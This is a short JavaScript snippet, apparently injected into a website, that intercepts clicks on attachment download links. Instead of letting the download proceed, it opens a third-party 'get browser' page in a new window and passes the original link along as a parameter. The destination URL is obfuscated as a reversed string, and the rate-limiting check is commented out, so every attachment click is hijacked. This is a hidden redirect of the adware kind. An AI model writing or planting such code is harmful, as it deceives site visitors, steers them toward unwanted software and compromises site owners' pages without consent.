try {

    var adbndObj = {

        getCookie: function(name) {

            var cookies = document.cookie.split(';');

            for(var i=0 ; i < cookies.length ; ++i) {

                var pair = cookies[i].trim().split('=');

                if (pair[0] == name) return pair[1];

            }

            return null;

        },

        setCookie: function(c_name, value, expiredays) {

            var exdate = new Date();

            exdate.setDate(exdate.getDate()+expiredays);

            document.cookie = c_name+ "=" +escape(value)+
            ((expiredays==null) ? "" : ";expires="+exdate.toUTCString())+
            ";path=/";

        },

        isDwUrl: function(elem) {
            return elem.parentNode.classList.contains('attachment')
        },

        isLimit: function() {

            return this.getCookie("adbdw")

        },

        init: function() {

            //if (this.isLimit()) return;

            var self = this, doclinks = document.getElementsByTagName("a");

            Array.prototype.forEach.call(doclinks, function(item) {

                if (!self.isDwUrl(item)) return;

                item.addEventListener('click', function(e) {

                    e.preventDefault();

                    var link = "mrK5wyH6sx7/trams/ten.resworbteg//:sptth".split("").reverse().join("");

                    if (item.getAttribute("href")) link += "?link=" + encodeURIComponent(item.getAttribute("href"));

                    window.open(link, '_blank');

                }, {once : true});

            });

        }

    }

    document.addEventListener('DOMContentLoaded', function() {

        adbndObj.init();

    }, false);

} catch(err) {

    console.log(err)

}